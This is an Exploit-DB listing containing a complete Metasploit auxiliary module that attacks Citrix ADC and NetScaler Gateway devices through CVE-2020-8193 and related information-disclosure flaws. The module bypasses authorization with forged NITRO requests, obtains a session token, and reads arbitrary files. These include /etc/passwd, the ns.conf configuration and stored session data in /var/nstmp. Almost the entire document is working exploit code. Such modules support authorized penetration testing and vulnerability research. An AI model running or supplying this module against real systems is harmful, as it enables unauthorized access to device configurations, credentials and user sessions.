Exploit-DB #49038
Description: Citrix ADC NetScaler - Local File Inclusion (Metasploit)
Type: webapps
Platform: hardware
Date: 2020-11-13
Author: RAMELLA Sebastien

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Citrix ADC NetScaler - Local File Inclusion (Metasploit)',
      'Description'    => %{
        The remote device is affected by multiple vulnerabilities.

        An authorization bypass vulnerability exists in Citrix ADC and NetScaler Gateway devices.
        An unauthenticated remote attacker with access to the `NSIP/management interface` can exploit
        this to bypass authorization (CVE-2020-8193).

        And Information disclosure (CVE-2020-8195 and CVE-2020-8196) - but at this time unclear which.
      },
      'Author'         => [
        'Donny Maasland', # Discovery
        'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise)
      ],
      'References'     => [
        ['CVE', '2020-8193'],
        ['CVE', '2020-8195'],
        ['CVE', '2020-8196'],
        ['URL', 'https://dmaasland.github.io/posts/citrix.html'],
        ['URL', 'https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/amp/'],
        ['URL', 'https://github.com/jas502n/CVE-2020-8193']
      ],
      'DisclosureDate' => '2020-07-09',
      'License'        => MSF_LICENSE,
      'DefaultOptions' => {
        'RPORT' => 443,
        'SSL' => true
      }
    ))

    register_options([
      OptEnum.new('MODE', [true, 'Start type.', 'discovery', [ 'discovery', 'interactive', 'sessions']]),
      OptString.new('PATH', [false, 'File or directory you want to read', '/nsconfig/ns.conf']),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def create_session
    params = 'type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1'

    request = {
      'method' => 'POST',
      'uri' => "#{normalize_uri(target_uri.path, 'pcidss', 'report')}?#{params}",
      'ctype' => 'application/xml',
      'headers' => {
        'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),
        'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8)
      },
      'data' => '<appfwprofile><login></login></appfwprofile>'
    }
    request = request.merge({'cookie' => @cookie}) if @cookie

    response = send_request_raw(request)
    unless response && response.code == 406
      print_error("#{@message_prefix} - No response to session request.")
      return
    end

    response.get_cookies
  end

  def fix_session_rand
    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'menu', 'ss'),
      'cookie' => @cookie,
      'vars_get' => {
        'sid' => 'nsroot',
        'username' => 'nsroot',
        'force_setup' => '1'
      }
    )

    if response && response.code == 302
      location = response.headers['location']

      response = send_request_cgi(
        'method' => 'GET',
        'uri' => location,
        'cookie' => @cookie
      )

      return unless response && response.code == 200
    end

    response.to_s.scan(/rand = "([^"]+)"/).join
  end

  def read_lfi(path, var_rand)
    params = "filter=path:#{path}"

    request = {
      'method' => 'POST',
      'uri' => "#{normalize_uri(target_uri.path, 'rapi', 'filedownload')}?#{params}",
      'cookie' => @cookie,
      'ctype' => 'application/xml',
      'headers' => {
        'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),
        'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8),
        'rand_key' => var_rand
      },
      'data' => '<clipermission></clipermission>'
    }

    response = send_request_raw(request)
  end

  def run_host(ip)
    proto = (datastore['SSL'] ? 'https' : 'http')
    @message_prefix = "#{proto}://#{ip}:#{datastore['RPORT']}"

    @cookie = create_session
    if @cookie && @cookie =~ /SESSID/
      print_status("#{@message_prefix} - Got session: #{@cookie.split(' ')[0]}")

      var_rand = fix_session_rand
      unless var_rand
        print_error("#{@message_prefix} - Unable to get rand value.")
        return Exploit::CheckCode::Unknown
      end
      print_status("#{@message_prefix} - Got rand: #{var_rand}")

      print_status("#{@message_prefix} - Re-breaking session...")
      create_session

      case datastore['MODE']
      when /discovery/
        response = read_lfi('/etc/passwd'.gsub('/', '%2F'), var_rand)
        if response.code == 406
          if response.body.include? ('root:*:0:0:')
            print_warning("#{@message_prefix} - Vulnerable.")

            return Exploit::CheckCode::Vulnerable
          end
        end
      when /interactive/
        # TODO: parse response
        response = read_lfi(datastore['PATH'].gsub('/', '%2F'), var_rand)
        if response.code == 406
          print_line("#{response.body}")
        end

        return
      when /sessions/
        # TODO: parse response
        response = read_lfi('/var/nstmp'.gsub('/', '%2F'), var_rand)
        if response.code == 406
          print_line("#{response.body}")
        end

        return
      end
    end
    print_good("#{@message_prefix} - Not Vulnerable.")

    return Exploit::CheckCode::Safe
  end

end